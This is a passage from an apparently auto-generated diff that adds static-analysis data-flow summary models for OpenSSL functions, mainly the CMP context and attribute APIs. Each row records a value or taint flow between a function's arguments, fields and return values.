"(OSSL_ATTRIBUTE_DESCRIPTOR *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_DESCRIPTOR_free", "(OSSL_ATTRIBUTE_DESCRIPTOR *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_MAPPINGS_free", "(OSSL_ATTRIBUTE_MAPPINGS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_MAPPINGS_free", "(OSSL_ATTRIBUTE_MAPPINGS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_MAPPING_free", "(OSSL_ATTRIBUTE_MAPPING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_MAPPING_free", "(OSSL_ATTRIBUTE_MAPPING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_TYPE_MAPPING_free", "(OSSL_ATTRIBUTE_TYPE_MAPPING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_TYPE_MAPPING_free", "(OSSL_ATTRIBUTE_TYPE_MAPPING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_VALUE_MAPPING_free", "(OSSL_ATTRIBUTE_VALUE_MAPPING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ATTRIBUTE_VALUE_MAPPING_free", "(OSSL_ATTRIBUTE_VALUE_MAPPING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX_free", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX_free", "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_BASIC_ATTR_CONSTRAINTS_free", "(OSSL_BASIC_ATTR_CONSTRAINTS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_BASIC_ATTR_CONSTRAINTS_free", "(OSSL_BASIC_ATTR_CONSTRAINTS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAVS_free", "(OSSL_CMP_ATAVS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAVS_free", "(OSSL_CMP_ATAVS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*0]", "ReturnValue[*].Field[**type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*1]", "ReturnValue[*].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_create", "(ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[1]", "ReturnValue[*].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_algId", "(const OSSL_CMP_ATAV *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_algId", "(const OSSL_CMP_ATAV *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_type", "(const OSSL_CMP_ATAV *)", "", "Argument[*0].Field[**type]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_type", "(const OSSL_CMP_ATAV *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_value", "(const OSSL_CMP_ATAV *)", "", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_get0_value", "(const OSSL_CMP_ATAV *)", "", "Argument[*0].Field[*value].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_new_algId", "(const X509_ALGOR *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAV_push1", "(OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_ATAV_push1", "(OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_set0", "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*1]", "Argument[*0].Field[**type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_set0", "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[*2]", "Argument[*0].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_set0", "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_ATAV_set0", "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)", "", "Argument[2]", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CAKEYUPDANNCONTENT_free", "(OSSL_CMP_CAKEYUPDANNCONTENT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CAKEYUPDANNCONTENT_free", "(OSSL_CMP_CAKEYUPDANNCONTENT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTIFIEDKEYPAIR_free", "(OSSL_CMP_CERTIFIEDKEYPAIR *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTIFIEDKEYPAIR_free", "(OSSL_CMP_CERTIFIEDKEYPAIR *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTORENCCERT_free", "(OSSL_CMP_CERTORENCCERT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTORENCCERT_free", "(OSSL_CMP_CERTORENCCERT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTREPMESSAGE_free", "(OSSL_CMP_CERTREPMESSAGE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTREPMESSAGE_free", "(OSSL_CMP_CERTREPMESSAGE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTREQTEMPLATE_free", "(OSSL_CMP_CERTREQTEMPLATE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTREQTEMPLATE_free", "(OSSL_CMP_CERTREQTEMPLATE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTRESPONSE_free", "(OSSL_CMP_CERTRESPONSE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTRESPONSE_free", "(OSSL_CMP_CERTRESPONSE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTSTATUS_free", "(OSSL_CMP_CERTSTATUS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CERTSTATUS_free", "(OSSL_CMP_CERTSTATUS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CHALLENGE_free", "(OSSL_CMP_CHALLENGE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CHALLENGE_free", "(OSSL_CMP_CHALLENGE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSOURCE_free", "(OSSL_CMP_CRLSOURCE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSOURCE_free", "(OSSL_CMP_CRLSOURCE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_create", "(const X509_CRL *,const X509 *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_free", "(OSSL_CMP_CRLSTATUS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_free", "(OSSL_CMP_CRLSTATUS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_get0", "(const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **)", "", "Argument[*0].Field[**thisUpdate]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_get0", "(const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **)", "", "Argument[*0].Field[*thisUpdate]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_new1", "(const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_new1", "(const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CRLSTATUS_new1", "(const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_build_cert_chain", "(OSSL_CMP_CTX *,X509_STORE *,stack_st_X509 *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_geninfo_ITAVs", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**geninfo_ITAVs]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_geninfo_ITAVs", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*geninfo_ITAVs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_libctx", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_libctx", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_newCert", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**newCert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_newCert", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*newCert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_newPkey", "(const OSSL_CMP_CTX *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_newPkey", "(const OSSL_CMP_CTX *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_propq", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**propq]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_propq", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*propq]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_statusString", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**statusString]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_statusString", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*statusString]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_trustedStore", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**trusted]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_trustedStore", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*trusted]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_untrusted", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**untrusted]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_untrusted", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*untrusted]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_validatedSrvCert", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[**validatedSrvCert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get0_validatedSrvCert", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*validatedSrvCert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get1_caPubs", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get1_extraCertsIn", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get1_newChain", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_certConf_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_certConf_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_certConf_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_failInfoCode", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*failInfoCode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_http_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_http_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_http_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_option", "(const OSSL_CMP_CTX *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_status", "(const OSSL_CMP_CTX *)", "", "Argument[*0].Field[*status]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_transfer_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_transfer_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_get_transfer_cb_arg", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_geninfo_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**geninfo_ITAVs].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_geninfo_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**geninfo_ITAVs].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_geninfo_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**geninfo_ITAVs].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_geninfo_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**geninfo_ITAVs].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_genm_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**genm_ITAVs].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_genm_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**genm_ITAVs].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_genm_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**genm_ITAVs].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_genm_ITAV", "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**genm_ITAVs].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_policy", "(OSSL_CMP_CTX *,POLICYINFO *)", "", "Argument[*1]", "Argument[*0].Field[**policies].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_policy", "(OSSL_CMP_CTX *,POLICYINFO *)", "", "Argument[*1]", "Argument[*0].Field[**policies].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_policy", "(OSSL_CMP_CTX *,POLICYINFO *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push0_policy", "(OSSL_CMP_CTX *,POLICYINFO *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_push1_subjectAltName", "(OSSL_CMP_CTX *,const GENERAL_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_newPkey", "(OSSL_CMP_CTX *,int,EVP_PKEY *)", "", "Argument[*2]", "Argument[*0].Field[**newPkey]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_newPkey", "(OSSL_CMP_CTX *,int,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*newPkey_priv]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_newPkey", "(OSSL_CMP_CTX *,int,EVP_PKEY *)", "", "Argument[2]", "Argument[*0].Field[*newPkey]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_reqExtensions", "(OSSL_CMP_CTX *,X509_EXTENSIONS *)", "", "Argument[*1]", "Argument[*0].Field[**reqExtensions]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_reqExtensions", "(OSSL_CMP_CTX *,X509_EXTENSIONS *)", "", "Argument[1]", "Argument[*0].Field[*reqExtensions]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_trustedStore", "(OSSL_CMP_CTX *,X509_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**trusted]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set0_trustedStore", "(OSSL_CMP_CTX *,X509_STORE *)", "", "Argument[1]", "Argument[*0].Field[*trusted]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_cert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_cert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_expected_sender", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_expected_sender", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_expected_sender", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_extraCertsOut", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[**extraCertsOut]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_extraCertsOut", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_issuer", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_issuer", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_issuer", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_no_proxy", "(OSSL_CMP_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**no_proxy]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_no_proxy", "(OSSL_CMP_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**no_proxy]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_oldCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_oldCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*oldCert]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_p10CSR", "(OSSL_CMP_CTX *,const X509_REQ *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_p10CSR", "(OSSL_CMP_CTX *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_p10CSR", "(OSSL_CMP_CTX *,const X509_REQ *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_pkey", "(OSSL_CMP_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_proxy", "(OSSL_CMP_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**proxy]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_proxy", "(OSSL_CMP_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**proxy]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_recipient", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_recipient", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_recipient", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_referenceValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**referenceValue].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_referenceValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**referenceValue].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_referenceValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**referenceValue].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_secretValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**secretValue].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_secretValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**secretValue].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_secretValue", "(OSSL_CMP_CTX *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**secretValue].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_senderNonce", "(OSSL_CMP_CTX *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_serialNumber", "(OSSL_CMP_CTX *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_server", "(OSSL_CMP_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**server]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_server", "(OSSL_CMP_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**server]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_serverPath", "(OSSL_CMP_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**serverPath]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_serverPath", "(OSSL_CMP_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**serverPath]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_srvCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_srvCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*srvCert]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_subjectName", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_subjectName", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_subjectName", "(OSSL_CMP_CTX *,const X509_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_transactionID", "(OSSL_CMP_CTX *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set1_untrusted", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_certConf_cb", "(OSSL_CMP_CTX *,OSSL_CMP_certConf_cb_t)", "", "Argument[1]", "Argument[*0].Field[*certConf_cb]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CMP_CTX_set_certConf_cb_arg", "(OSSL_CMP_CTX *,void *)", "", "Argument[**1]", 